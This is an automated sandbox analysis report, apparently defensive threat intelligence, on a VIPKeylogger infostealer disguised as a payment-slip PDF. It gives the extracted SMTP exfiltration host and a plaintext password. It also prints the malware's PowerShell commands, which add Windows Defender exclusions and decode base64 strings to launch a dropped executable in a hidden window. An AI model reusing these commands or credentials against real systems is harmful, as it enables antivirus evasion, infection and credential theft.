Analysis
- max time kernel
149s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/09/2026, 11:00
General
- Target Payment Slip PDF.bat.exe
- Size 1.1MB
- Sample260904-m39basgr4s
- SHA256 37c2c5d56cc763a7731523541ea9b206beb80dace89e1615b0cab7d5afa1ffe5
Malware Config
Extracted
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vipkeylogger
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Protocol
smtp
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Host
cphost17.qhoster.net
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Port
587
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Username
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Password
Qwerty!@#
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Email to
Signatures
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 17 IoCs
- Suspicious use of AdjustPrivilegeToken 28 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$x3rou4=$env:COMPUTERNAME;$1cbwy2=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$x3rou4=$env:COMPUTERNAME;$goxozc=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGhlQi5leGU=')));$3yjn4d=Get-Date;& $1cbwy2 -FilePath $goxozc"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\heB.exe"C:\Users\Admin\AppData\Roaming\heB.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\heB.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\heB.exe"C:\Users\Admin\AppData\Roaming\heB.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_qhsqbh0o.1jg.psm1
heB.exe
memory/1424-60-0x0000000006690000-0x00000000066E0000-memory.dmp
memory/1424-59-0x0000000006800000-0x00000000069C2000-memory.dmp
memory/1844-46-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/1844-23-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/1844-17-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/1844-15-0x0000000000400000-0x0000000000448000-memory.dmp
memory/3576-6-0x00000000055E0000-0x000000000567C000-memory.dmp
memory/3576-2-0x00000000059C0000-0x0000000005F7A000-memory.dmp
memory/3576-9-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/3576-8-0x00000000747C2000-0x00000000747C3000-memory.dmp
memory/3576-10-0x0000000008FD0000-0x00000000090B4000-memory.dmp
memory/3576-1-0x0000000000830000-0x0000000000944000-memory.dmp
memory/3576-7-0x0000000005790000-0x00000000057AE000-memory.dmp
memory/3576-25-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/3576-5-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/3576-0-0x00000000747C2000-0x00000000747C3000-memory.dmp
memory/3576-4-0x0000000005480000-0x000000000548A000-memory.dmp
memory/3576-3-0x00000000054A0000-0x0000000005532000-memory.dmp
memory/4072-57-0x0000000007010000-0x00000000070B3000-memory.dmp
memory/4072-49-0x0000000005800000-0x0000000005B5B000-memory.dmp
memory/4072-53-0x00000000062C0000-0x000000000630C000-memory.dmp
memory/4072-54-0x0000000070940000-0x000000007098C000-memory.dmp
memory/4300-18-0x00000000054C0000-0x00000000054E2000-memory.dmp
memory/4300-42-0x0000000007880000-0x0000000007916000-memory.dmp
memory/4300-27-0x0000000006430000-0x000000000647C000-memory.dmp
memory/4300-26-0x0000000006290000-0x00000000062AE000-memory.dmp
memory/4300-37-0x0000000006890000-0x00000000068B0000-memory.dmp
memory/4300-38-0x00000000072D0000-0x0000000007373000-memory.dmp
memory/4300-34-0x0000000070E20000-0x0000000070E6C000-memory.dmp
memory/4300-33-0x0000000007260000-0x0000000007296000-memory.dmp
memory/4300-40-0x0000000007610000-0x000000000762A000-memory.dmp
memory/4300-39-0x0000000007C50000-0x00000000082CC000-memory.dmp
memory/4300-41-0x0000000007680000-0x000000000768A000-memory.dmp
memory/4300-11-0x0000000002A70000-0x0000000002AA6000-memory.dmp
memory/4300-24-0x0000000005F00000-0x000000000625B000-memory.dmp
memory/4300-45-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/4300-20-0x00000000055D0000-0x0000000005636000-memory.dmp
memory/4300-19-0x0000000005560000-0x00000000055C6000-memory.dmp
memory/4300-16-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/4300-13-0x0000000005710000-0x0000000005D5A000-memory.dmp
memory/4300-14-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/4300-12-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/5344-30-0x00000188EE370000-0x00000188EE392000-memory.dmp